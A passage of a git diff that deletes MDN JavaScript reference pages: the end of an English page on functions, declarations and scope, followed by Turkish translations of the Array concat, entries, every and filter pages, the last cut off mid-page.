initialized with default values if no value or <code>undefined</code> is passed. For more details, see<a href="/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters"> default parameters</a>.</p> - -<h3 id="Rest_parameters">Rest parameters</h3> - -<p>The rest parameter syntax allows to represent an indefinite number of arguments as an array. For more details, see <a href="/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">rest parameters</a>.</p> - -<h2 id="The_arguments_object">The <code>arguments</code> object</h2> - -<p>You can refer to a function's arguments within the function by using the <code>arguments</code> object. See <a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments">arguments</a>.</p> - -<ul> - <li><code><a href="/en-US/docs/JavaScript/Reference/Functions_and_function_scope/arguments">arguments</a></code>: An array-like object containing the arguments passed to the currently executing function.</li> - <li><code><a href="/en-US/docs/JavaScript/Reference/Functions_and_function_scope/arguments/callee">arguments.callee</a></code> {{Deprecated_inline}}: The currently executing function.</li> - <li><code><a href="/en-US/docs/JavaScript/Reference/Functions_and_function_scope/arguments/caller">arguments.caller</a></code> {{Obsolete_inline}} : The function that invoked the currently executing function.</li> - <li><code><a href="/en-US/docs/JavaScript/Reference/Functions_and_function_scope/arguments/length">arguments.length</a></code>: The number of arguments passed to the function.</li> -</ul> - -<h2 id="Defining_method_functions">Defining method functions</h2> - -<h3 id="Getter_and_setter_functions">Getter and setter functions</h3> - -<p>You can define getters (accessor methods) and setters (mutator methods) on any standard built-in object or user-defined object that supports the addition of new properties. The syntax for defining getters and setters uses the object literal syntax.</p> - -<dl> - <dt><a href="/en-US/docs/Web/JavaScript/Reference/Functions/get">get</a></dt> - <dd> - <p>Binds an object property to a function that will be called when that property is looked up.</p> - </dd> - <dt><a href="/en-US/docs/Web/JavaScript/Reference/Functions/set">set</a></dt> - <dd>Binds an object property to a function to be called when there is an attempt to set that property.</dd> -</dl> - -<h3 id="Method_definition_syntax">Method definition syntax</h3> - -<p>Starting with ECMAScript 2015, you are able to define own methods in a shorter syntax, similar to the getters and setters. See <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions">method definitions</a> for more information.</p> - -<pre class="brush: js">var obj = { - foo() {}, - bar() {} -};</pre> - -<h2 id="Constructor_vs._declaration_vs._expression">Constructor vs. declaration vs. expression</h2> - -<p>Compare the following:</p> - -<p>A function defined with the <code>Function</code> <em>constructor</em> assigned to the variable <code>multiply:</code></p> - -<pre class="brush: js">var multiply = new Function('x', 'y', 'return x * y');</pre> - -<p>A <em>function declaration</em> of a function named <code>multiply</code>:</p> - -<pre class="brush: js">function multiply(x, y) { - return x * y; -} // there is no semicolon here -</pre> - -<p>A <em>function expression</em> of an anonymous function assigned to the variable <code>multiply:</code></p> - -<pre class="brush: js">var multiply = function(x, y) { - return x * y; -}; -</pre> - -<p>A <em>function expression</em> of a function named <code>func_name</code> assigned to the variable <code>multiply:</code></p> - -<pre class="brush: js">var multiply = function func_name(x, y) { - return x * y; -}; -</pre> - -<h3 id="Differences">Differences</h3> - -<p>All do approximately the same thing, with a few subtle differences:</p> - -<p>There is a distinction between the function name and the variable the function is assigned to. The function name cannot be changed, while the variable the function is assigned to can be reassigned. The function name can be used only within the function's body. Attempting to use it outside the function's body results in an error (or <code>undefined</code> if the function name was previously declared via a <code>var</code> statement). For example:</p> - -<pre class="brush: js">var y = function x() {}; -alert(x); // throws an error -</pre> - -<p>The function name also appears when the function is serialized via <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/toString"><code>Function</code>'s toString method</a>.</p> - -<p>On the other hand, the variable the function is assigned to is limited only by its scope, which is guaranteed to include the scope in which the function is declared.</p> - -<p>As the 4th example shows, the function name can be different from the variable the function is assigned to. They have no relation to each other. A function declaration also creates a variable with the same name as the function name. Thus, unlike those defined by function expressions, functions defined by function declarations can be accessed by their name in the scope they were defined in:</p> - -<p>A function defined by '<code>new Function'</code> does not have a function name. However, in the <a href="/en-US/docs/Mozilla/Projects/SpiderMonkey">SpiderMonkey</a> JavaScript engine, the serialized form of the function shows as if it has the name "anonymous". For example, <code>alert(new Function())</code> outputs:</p> - -<pre class="brush: js">function anonymous() { -} -</pre> - -<p>Since the function actually does not have a name, <code>anonymous</code> is not a variable that can be accessed within the function. For example, the following would result in an error:</p> - -<pre class="brush: js">var foo = new Function("alert(anonymous);"); -foo(); -</pre> - -<p>Unlike functions defined by function expressions or by the <code>Function</code> constructor, a function defined by a function declaration can be used before the function declaration itself. For example:</p> - -<pre class="brush: js">foo(); // alerts FOO! -function foo() { - alert('FOO!'); -} -</pre> - -<p>A function defined by a function expression or by a function declaration inherits the current scope. That is, the function forms a closure. On the other hand, a function defined by a <code>Function</code> constructor does not inherit any scope other than the global scope (which all functions inherit).</p> - -<pre class="brush: js">/* - * Declare and initialize a variable 'p' (global) - * and a function 'myFunc' (to change the scope) inside which - * declare a varible with same name 'p' (current) and - * define three functions using three different ways:- - * 1. function declaration - * 2. function expression - * 3. function constructor - * each of which will log 'p' - */ -var p = 5; -function myFunc() { - var p = 9; - - function decl() { - console.log(p); - } - var expr = function() { - console.log(p); - }; - var cons = new Function('\tconsole.log(p);'); - - decl(); - expr(); - cons(); -} -myFunc(); - -/* - * Logs:- - * 9 - for 'decl' by function declaration (current scope) - * 9 - for 'expr' by function expression (current scope) - * 5 - for 'cons' by Function constructor (global scope) - */ -</pre> - -<p>Functions defined by function expressions and function declarations are parsed only once, while those defined by the <code>Function</code> constructor are not. That is, the function body string passed to the <code>Function</code> constructor must be parsed each and every time the constructor is called. Although a function expression creates a closure every time, the function body is not reparsed, so function expressions are still faster than "<code>new Function(...)</code>". Therefore the <code>Function</code> constructor should generally be avoided whenever possible.</p> - -<p>It should be noted, however, that function expressions and function declarations nested within the function generated by parsing a <code>Function constructor</code> 's string aren't parsed repeatedly. For example:</p> - -<pre class="brush: js">var foo = (new Function("var bar = \'FOO!\';\nreturn(function() {\n\talert(bar);\n});"))(); -foo(); // The segment "function() {\n\talert(bar);\n}" of the function body string is not re-parsed.</pre> - -<p>A function declaration is very easily (and often unintentionally) turned into a function expression. A function declaration ceases to be one when it either:</p> - -<ul> - <li>becomes part of an expression</li> - <li>is no longer a "source element" of a function or the script itself. A "source element" is a non-nested statement in the script or a function body:</li> -</ul> - -<pre class="brush: js">var x = 0; // source element -if (x === 0) { // source element - x = 10; // not a source element - function boo() {} // not a source element -} -function foo() { // source element - var y = 20; // source element - function bar() {} // source element - while (y === 10) { // source element - function blah() {} // not a source element - y++; // not a source element - } -} -</pre> - -<h3 id="Examples">Examples</h3> - -<pre class="brush: js">// function declaration -function foo() {} - -// function expression -(function bar() {}) - -// function expression -x = function hello() {} - - -if (x) { - // function expression - function world() {} -} - - -// function declaration -function a() { - // function declaration - function b() {} - if (0) { - // function expression - function c() {} - } -} -</pre> - -<h2 id="Block-level_functions">Block-level functions</h2> - -<p>In <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a>, starting with ES2015, functions inside blocks are now scoped to that block. Prior to ES2015, block-level functions were forbidden in strict mode.</p> - -<pre class="brush: js">'use strict'; - -function f() { - return 1; -} - -{ - function f() { - return 2; - } -} - -f() === 1; // true - -// f() === 2 in non-strict mode -</pre> - -<h3 id="Block-level_functions_in_non-strict_code">Block-level functions in non-strict code</h3> - -<p>In a word: Don't.</p> - -<p>In non-strict code, function declarations inside blocks behave strangely. For example:</p> - -<pre class="brush: js">if (shouldDefineZero) { - function zero() { // DANGER: compatibility risk - console.log("This is zero."); - } -} -</pre> - -<p>ES2015 says that if <code>shouldDefineZero</code> is false, then <code>zero</code> should never be defined, since the block never executes. However, it's a new part of the standard. Historically, this was left unspecified, and some browsers would define <code>zero</code> whether the block executed or not.</p> - -<p>In <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a>, all browsers that support ES2015 handle this the same way: <code>zero</code> is defined only if <code>shouldDefineZero</code> is true, and only in the scope of the <code>if</code>-block.</p> - -<p>A safer way to define functions conditionally is to assign a function expression to a variable:</p> - -<pre class="brush: js">var zero; -if (shouldDefineZero) { - zero = function() { - console.log("This is zero."); - }; -} -</pre> - -<h2 id="Examples_2">Examples</h2> - -<h3 id="Returning_a_formatted_number">Returning a formatted number</h3> - -<p>The following function returns a string containing the formatted representation of a number padded with leading zeros.</p> - -<pre class="brush: js">// This function returns a string padded with leading zeros -function padZeros(num, totalLen) { - var numStr = num.toString(); // Initialize return value as string - var numZeros = totalLen - numStr.length; // Calculate no. of zeros - for (var i = 1; i <= numZeros; i++) { - numStr = "0" + numStr; - } - return numStr; -} -</pre> - -<p>The following statements call the padZeros function.</p> - -<pre class="brush: js">var result; -result = padZeros(42,4); // returns "0042" -result = padZeros(42,2); // returns "42" -result = padZeros(5,4); // returns "0005" -</pre> - -<h3 id="Determining_whether_a_function_exists">Determining whether a function exists</h3> - -<p>You can determine whether a function exists by using the <code>typeof</code> operator. In the following example, a test is performed to determine if the <code>window</code> object has a property called <code>noFunc</code> that is a function. If so, it is used; otherwise some other action is taken.</p> - -<pre class="brush: js"> if ('function' === typeof window.noFunc) { - // use noFunc() - } else { - // do something else - } -</pre> - -<p>Note that in the <code>if</code> test, a reference to <code>noFunc</code> is used—there are no brackets "()" after the function name so the actual function is not called.</p> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('ES1')}}</td> - <td>{{Spec2('ES1')}}</td> - <td>Initial definition. Implemented in JavaScript 1.0</td> - </tr> - <tr> - <td>{{SpecName('ES5.1', '#sec-13', 'Function Definition')}}</td> - <td>{{Spec2('ES5.1')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-function-definitions', 'Function definitions')}}</td> - <td>{{Spec2('ES6')}}</td> - <td>New: Arrow functions, Generator functions, default parameters, rest parameters.</td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-function-definitions', 'Function definitions')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - - - -<p>{{Compat("javascript.functions")}}</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{jsxref("Statements/function", "function statement")}}</li> - <li>{{jsxref("Operators/function", "function expression")}}</li> - <li>{{jsxref("Statements/function*", "function* statement")}}</li> - <li>{{jsxref("Operators/function*", "function* expression")}}</li> - <li>{{jsxref("Function")}}</li> - <li>{{jsxref("GeneratorFunction")}}</li> - <li>{{jsxref("Functions/Arrow_functions", "Arrow functions")}}</li> - <li>{{jsxref("Functions/Default_parameters", "Default parameters")}}</li> - <li>{{jsxref("Functions/rest_parameters", "Rest parameters")}}</li> - <li>{{jsxref("Functions/arguments", "Arguments object")}}</li> - <li>{{jsxref("Functions/get", "getter")}}</li> - <li>{{jsxref("Functions/set", "setter")}}</li> - <li>{{jsxref("Functions/Method_definitions", "Method definitions")}}</li> - <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope">Functions and function scope</a></li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/array/concat/index.html b/files/tr/web/javascript/reference/global_objects/array/concat/index.html deleted file mode 100644 index dbeaff447e..0000000000 --- a/files/tr/web/javascript/reference/global_objects/array/concat/index.html +++ /dev/null @@ -1,167 +0,0 @@ ---- -title: Array.prototype.concat -slug: Web/JavaScript/Reference/Global_Objects/Array/concat -tags: - - Array - - JavaScript - - Method - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Array/concat ---- -<div>{{JSRef("Global_Objects", "Array")}}</div> - -<h2 id="Summary" name="Summary">Özet</h2> - -<p><code><strong>concat()</strong></code> metodu eklendigi dizi ile parametre olarak aldığı dizi(leri) birleştirerek yeni bir dizi döndürür.</p> - -<h2 id="Syntax" name="Syntax">Söz Dizimi</h2> - -<pre class="syntaxbox"><code>var <var>new_array</var> = <var>old_array</var>.concat(<var>value1</var>[, <var>value2</var>[, ...[, <var>valueN</var>]]])</code></pre> - -<h3 id="Parameters" name="Parameters">Parmetreler</h3> - -<dl> - <dt><code>value<em>N</em></code></dt> - <dd>Yeni diziye eklenecek dizi ve/veya değerler. Detaylar için aşağıdaki açıklamayı okuyunuz.</dd> -</dl> - -<h2 id="Description" name="Description">Açıklama</h2> - -<p><code>concat</code> çağırılan nesnelerin elemanlarını içeren yeni bir dizi oluşturur. Çağırılma sırasıyla, diziyse elemanlarını, değerse kendisini ekler.</p> - -<p><code>concat</code> , <code>this</code> veya çağırılan dizilerden herhangi birini değiştirmez. Onları kopyalayarak yeni bir dizi oluşturur. Orjinal dizilerin öğeleri yeni diziye aşağıdaki gibi kopyalanır:</p> - -<ul> - <li>Nesne referansı (nesnenin kendisi değil): <code>concat</code> nesne referanslarını yeni diziye kopyalar. Hem orjinal hem de yeni dizi aynı nesneye karşılık gelir. Yani, bir başvurulan nesne değiştirilirse, değişiklikler hem yeni hem de orijinal diziler tarafından görülebilir.</li> - <li>Metinler ve sayılar ({{jsxref("Global_Objects/String", "String")}} ve {{jsxref("Global_Objects/Number", "Number")}} nesneleri değil): <code>concat</code> metin ve sayıların değerlerini yeni dizinin içine kopyalar.</li> -</ul> - -<div class="note"> -<p><strong>Not: </strong>Dizi/değerlerin birleştirilmesi orjinallerini değiştirmez. Ayrıca, yeni dizi (eleman nesne referansı değilse) üzerindeki herhangi bir operasyon orjinal dizileri etkilemez. Tam tersi de geçerlidir.</p> -</div> - -<h2 id="Examples" name="Examples">Örnekler</h2> - -<h3 id="Example:_Concatenating_two_arrays" name="Example:_Concatenating_two_arrays">Örnek: İki diziyi birleştirme</h3> - -<p>Aşağıdaki kod iki diziyi birleştiriyor:</p> - -<pre class="brush: js">var alpha = ['a', 'b', 'c'], - numeric = [1, 2, 3]; - -var alphaNumeric = alpha.concat(numeric); - -console.log(alphaNumeric); // Result: ['a', 'b', 'c', 1, 2, 3] -</pre> - -<h3 id="Example:_Concatenating_three_arrays" name="Example:_Concatenating_three_arrays">Örnek: Üç diziyi birleştirme</h3> - -<p>Aşağıdaki kod üç diziyi birleştiriyor:</p> - -<pre class="brush: js">var num1 = [1, 2, 3], - num2 = [4, 5, 6], - num3 = [7, 8, 9]; - -var nums = num1.concat(num2, num3); - -console.log(nums); // Result: [1, 2, 3, 4, 5, 6, 7, 8, 9] -</pre> - -<h3 id="Example:_Concatenating_values_to_an_array" name="Example:_Concatenating_values_to_an_array">Örnek: Değerleri dizi ile birleştirme</h3> - -<p>Aşağıdaki kod değerler ile diziyi birleştiriyor:</p> - -<pre class="brush: js">var alpha = ['a', 'b', 'c']; - -var alphaNumeric = alpha.concat(1, [2, 3]); - -console.log(alphaNumeric); // Result: ['a', 'b', 'c', 1, 2, 3] -</pre> - -<h2 id="Specifications" name="Specifications">Özellikler</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Özellikler</th> - <th scope="col">Durum</th> - <th scope="col">Yorumlar</th> - </tr> - <tr> - <td>ECMAScript 3rd Edition</td> - <td>Standard</td> - <td>Initial definition. Implemented in JavaScript 1.2.</td> - </tr> - <tr> - <td>{{SpecName('ES5.1', '#sec-15.4.4.4', 'Array.prototype.concat')}}</td> - <td>{{Spec2('ES5.1')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-array.prototype.concat', 'Array.prototype.concat')}}</td> - <td>{{Spec2('ES6')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility" name="Browser_compatibility">Tarayıcı Uyumluluğu</h2> - -<div>{{CompatibilityTable}}</div> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Özellik</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Temel destek</td> - <td>{{CompatChrome("1.0")}}</td> - <td>{{CompatGeckoDesktop("1.7")}}</td> - <td>{{CompatIE("5.5")}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Özellik</th> - <th>Android</th> - <th>Chrome for Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Temel destek</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="See_also" name="See_also">Ayrıca Bakınız</h2> - -<ul> - <li>{{jsxref("Array.push", "push")}} / {{jsxref("Array.pop", "pop")}} — dizinin sonundan eleman ekleme/çıkarma</li> - <li>{{jsxref("Array.unshift", "unshift")}} / {{jsxref("Array.shift", "shift")}} — dizinin başından eleman ekleme/çıkarma</li> - <li>{{jsxref("Array.splice", "splice")}} — dizinin belirli bir kısmından eleman ekleme/çıkarma</li> - <li>{{jsxref("String.prototype.concat()")}}</li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/array/entries/index.html b/files/tr/web/javascript/reference/global_objects/array/entries/index.html deleted file mode 100644 index 7e2d7b6a82..0000000000 --- a/files/tr/web/javascript/reference/global_objects/array/entries/index.html +++ /dev/null @@ -1,129 +0,0 @@ ---- -title: Array.prototype.entries() -slug: Web/JavaScript/Reference/Global_Objects/Array/entries -tags: - - Dizi - - döngü - - gezinilebilir -translation_of: Web/JavaScript/Reference/Global_Objects/Array/entries ---- -<div>{{JSRef}}</div> - -<p><code><strong>entries()</strong></code> metodu, içerisinde, her bir elemanı için anahtar/değer çifti içeren yeni bir <code><strong>Gezinilebilir Dizi </strong></code>nesnesi döndürür.</p> - -<pre class="brush:js">var a = ['a', 'b', 'c']; -var iterator = a.entries(); - -console.log(iterator.next().value); // [0, 'a'] -console.log(iterator.next().value); // [1, 'b'] -console.log(iterator.next().value); // [2, 'c'] -</pre> - -<h2 id="Söz_dizimi">Söz dizimi</h2> - -<pre class="syntaxbox"><var>a</var>.entries()</pre> - -<h3 id="Dönüş_değeri">Dönüş değeri</h3> - -<p>Yeni bir gezinilebilir {{jsxref("Array")}} nesnesi.</p> - -<h2 id="Örnekler">Örnekler</h2> - -<h3 id="Bir_for…of_döngüsü_kullanımı">Bir <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for…of</a> döngüsü kullanımı</h3> - -<pre class="brush:js">var a = ['a', 'b', 'c']; -var iterator = a.entries(); - -for (let e of iterator) { - console.log(e); -} -// [0, 'a'] -// [1, 'b'] -// [2, 'c'] -</pre> - -<h2 id="Tanımlamalar">Tanımlamalar</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Tanımlama</th> - <th scope="col">Durum</th> - <th scope="col">Yorum</th> - </tr> - <tr> - <td>{{SpecName('ES2015', '#sec-array.prototype.entries', 'Array.prototype.entries')}}</td> - <td>{{Spec2('ES2015')}}</td> - <td>Initial definition.</td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-array.prototype.entries', 'Array.prototype.entries')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> - -<div>{{CompatibilityTable}}</div> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Özellik</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Temel destekli</td> - <td>{{CompatChrome("38")}}</td> - <td>{{CompatGeckoDesktop("28")}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatOpera("25")}}</td> - <td>{{CompatSafari("7.1")}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Chrome for Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Temel destekli</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatGeckoMobile("28")}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>8.0</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="Ayrıca_bknz.">Ayrıca bknz.</h2> - -<ul> - <li>{{jsxref("Array.prototype.keys()")}}</li> - <li>{{jsxref("Array.prototype.values()")}}</li> - <li>{{jsxref("Array.prototype.forEach()")}}</li> - <li>{{jsxref("Array.prototype.every()")}}</li> - <li>{{jsxref("Array.prototype.some()")}}</li> - <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a></li> - <li><a href="/en-US/docs/Web/JavaScript/Reference/Iteration_protocols">Iteration protocols</a></li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/array/every/index.html b/files/tr/web/javascript/reference/global_objects/array/every/index.html deleted file mode 100644 index 1cab33d6fe..0000000000 --- a/files/tr/web/javascript/reference/global_objects/array/every/index.html +++ /dev/null @@ -1,189 +0,0 @@ ---- -title: Array.prototype.every() -slug: Web/JavaScript/Reference/Global_Objects/Array/every -translation_of: Web/JavaScript/Reference/Global_Objects/Array/every ---- -<div>{{JSRef}}</div> - -<div><code><strong>every()</strong></code> metodu bir dizideki tüm elemanların verilen fonksiyonun testini geçip geçmediği kontrol eder. Bu metot true (doğru) yada false (yanlış) olarak ikilik değer döndürür. </div> - -<div class="note"> -<p><strong>Note</strong>: Test edilen array boş ise bu metot true deger döndürür.</p> -</div> - -<div>{{EmbedInteractiveExample("pages/js/array-every.html")}}</div> - - - -<h2 id="Söz_dizimi">Söz dizimi</h2> - -<pre class="syntaxbox">arr.every(callback(element[, index[, array]])[, thisArg])</pre> - -<h3 id="Parametreler">Parametreler</h3> - -<dl> - <dt><code>callback</code></dt> - <dd>Her elemanı test eden üç değişken alan bir fonksiyon: - <dl> - <dt><code>element</code></dt> - <dd>İşlemde olan geçerli dizi elemanı.</dd> - <dt><code>index</code>{{Optional_inline}}</dt> - <dd>İşlemde olan geçerli dizi elemanın indeksi .</dd> - <dt><code>array</code>{{Optional_inline}}</dt> - <dd><code>every</code> tarafından çağrılan dizi.</dd> - </dl> - </dd> - <dt><code>thisArg</code>{{Optional_inline}}</dt> - <dd>Geri dönüş yapıldığında <code>this</code> olarak kullanıcak bir değer.</dd> -</dl> - -<h3 id="Dönüş_değeri">Dönüş değeri</h3> - -<p>Geri dönüş fonksiyonu her bir dizi elemanı için bir {{Glossary("truthy")}} deger dondürse <code><strong>true</strong></code>. Aksi takdirde, <code><strong>false</strong></code>.</p> - -<h2 id="Description">Description</h2> - -<p>The <code>every</code> method executes the provided <code>callback</code> function once for each element present in the array until it finds the one where <code>callback</code> returns a {{Glossary("falsy")}} value. If such an element is found, the <code>every</code> method immediately returns <code>false</code>. Otherwise, if <code>callback</code> returns a {{Glossary("truthy")}} value for all elements, <code>every</code> returns <code>true</code>. <code>callback</code> is invoked only for indexes of the array which have assigned values; it is not invoked for indexes which have been deleted or which have never been assigned values.</p> - -<p><code>callback</code> is invoked with three arguments: the value of the element, the index of the element, and the Array object being traversed.</p> - -<p>If a <code>thisArg</code> parameter is provided to <code>every</code>, it will be used as callback's <code>this</code> value. Otherwise, the value <code>undefined</code> will be used as its <code>this</code> value. The <code>this</code> value ultimately observable by <code>callback</code> is determined according to <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">the usual rules for determining the <code>this</code> seen by a function</a>.</p> - -<p><code>every</code> does not mutate the array on which it is called.</p> - -<p>The range of elements processed by <code>every</code> is set before the first invocation of <code>callback</code>. Therefore, <code>callback</code> will not run on elements that are appended to the array after the call to <code>every</code> begins. If existing elements of the array are changed, their value as passed to <code>callback</code> will be the value at the time <code>every</code> visits them. Elements that are deleted are not visited.</p> - -<p><code>every</code> acts like the "for all" quantifier in mathematics. In particular, for an empty array, it returns true. (It is <a href="http://en.wikipedia.org/wiki/Vacuous_truth">vacuously true</a> that all elements of the <a href="https://en.wikipedia.org/wiki/Empty_set#Properties">empty set</a> satisfy any given condition.)</p> - -<h2 id="Örnekler">Örnekler</h2> - -<h3 id="Tüm_dizi_elemanlarının_büyüklüğünün_test_edilmesi">Tüm dizi elemanlarının büyüklüğünün test edilmesi</h3> - -<p>Aşağıdaki örnekte tüm dizi elemanlarının 10'dan büyük yada eşit olma durumu test edilir.</p> - -<pre class="brush: js">function isBigEnough(element, index, array) { - return element >= 10; -} -[12, 5, 8, 130, 44].every(isBigEnough); // false -[12, 54, 18, 130, 44].every(isBigEnough); // true -</pre> - -<h3 id="Ok_fonksiyonlarını_kullanma">Ok fonksiyonlarını kullanma</h3> - -<p><a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">Ok fonksiyonları</a> aynı testin daha kısa söz dizimi ile yapılmasını sağlar.</p> - -<pre class="brush: js">[12, 5, 8, 130, 44].every(x => x >= 10); // false -[12, 54, 18, 130, 44].every(x => x >= 10); // true</pre> - -<h2 id="Polyfill">Polyfill</h2> - -<p><code>every</code> was added to the ECMA-262 standard in the 5th edition, and it may not be present in other implementations of the standard. You can work around this by inserting the following code at the beginning of your scripts, allowing use of <code>every</code> in implementations which do not natively support it. This algorithm is exactly the one specified in ECMA-262, 5th edition, assuming <code>Object</code> and <code>TypeError</code> have their original values and that <code>callbackfn.call</code> evaluates to the original value of {{jsxref("Function.prototype.call")}}</p> - -<pre class="brush: js">if (!Array.prototype.every) { - Array.prototype.every = function(callbackfn, thisArg) { - 'use strict'; - var T, k; - - if (this == null) { - throw new TypeError('this is null or not defined'); - } - - // 1. Let O be the result of calling ToObject passing the this - // value as the argument. - var O = Object(this); - - // 2. Let lenValue be the result of calling the Get internal method - // of O with the argument "length". - // 3. Let len be ToUint32(lenValue). - var len = O.length >>> 0; - - // 4. If IsCallable(callbackfn) is false, throw a TypeError exception. - if (typeof callbackfn !== 'function') { - throw new TypeError(); - } - - // 5. If thisArg was supplied, let T be thisArg; else let T be undefined. - if (arguments.length > 1) { - T = thisArg; - } - - // 6. Let k be 0. - k = 0; - - // 7. Repeat, while k < len - while (k < len) { - - var kValue; - - // a. Let Pk be ToString(k). - // This is implicit for LHS operands of the in operator - // b. Let kPresent be the result of calling the HasProperty internal - // method of O with argument Pk. - // This step can be combined with c - // c. If kPresent is true, then - if (k in O) { - - // i. Let kValue be the result of calling the Get internal method - // of O with argument Pk. - kValue = O[k]; - - // ii. Let testResult be the result of calling the Call internal method - // of callbackfn with T as the this value and argument list - // containing kValue, k, and O. - var testResult = callbackfn.call(T, kValue, k, O); - - // iii. If ToBoolean(testResult) is false, return false. - if (!testResult) { - return false; - } - } - k++; - } - return true; - }; -} -</pre> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('ES5.1', '#sec-15.4.4.16', 'Array.prototype.every')}}</td> - <td>{{Spec2('ES5.1')}}</td> - <td>Initial definition. Implemented in JavaScript 1.6.</td> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-array.prototype.every', 'Array.prototype.every')}}</td> - <td>{{Spec2('ES6')}}</td> - <td></td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-array.prototype.every', 'Array.prototype.every')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td></td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<div> - - -<p>{{Compat("javascript.builtins.Array.every")}}</p> -</div> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{jsxref("Array.prototype.forEach()")}}</li> - <li>{{jsxref("Array.prototype.some()")}}</li> - <li>{{jsxref("Array.prototype.find()")}}</li> - <li>{{jsxref("TypedArray.prototype.every()")}}</li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/array/filter/index.html b/files/tr/web/javascript/reference/global_objects/array/filter/index.html deleted file mode 100644 index 4dfc8eaeae..0000000000 --- a/files/tr/web/javascript/reference/global_objects/array/filter/index.html +++ /dev/null @@ -1,243 +0,0 @@ ---- -title: Array.prototype.filter() -slug: Web/JavaScript/Reference/Global_Objects/Array/filter -tags: - - Dizi - - ECMAScript 5 - - JavaScript - - Method - - Prototype - - ployfill -translation_of: Web/JavaScript/Reference/Global_Objects/Array/filter ---- -<div>{{JSRef}}</div> - -<div> </div> - -<p><code><strong>filter()</strong></code> metotu sağlanan işlev tarafından uygulanan testi geçen tüm öğelerle birlikte yeni bir dizi oluşturur.</p> - -<div>{{EmbedInteractiveExample("pages/js/array-filter.html")}}</div> - -<p class="hidden">Bu etkileşimli örneğin kaynağı bir GitHub deposunda saklanır. İnteraktif örnekler projesine katkıda bulunmak istiyorsanız, lütfen https://github.com/mdn/interactive-examples klonlayın ve bize bir istek gönderin.</p> - -<h2 id="Söz_Dizimi">Söz Dizimi</h2> - -<pre class="syntaxbox"><var>var newArray = arr</var>.filter(<var>callback(element[, index[, array]])</var>[, <var>thisArg</var>])</pre> - -<h3 id="Parametreler">Parametreler</h3> - -<dl> - <dt><code>callback</code></dt> - <dd>Function , dizinin her öğesini sınamak için bir yordamdır. Öğeyi saklamak için <code>true</code> , aksi takdirde <code>false</code> değerini döndürün. Üç argümanı kabul eder:</dd> - <dd> - <dl> - <dt><code>element</code></dt> - <dd>Dizide işlenen mevcut elementtir.</dd> - <dt><code>index</code>{{optional_inline}}</dt> - 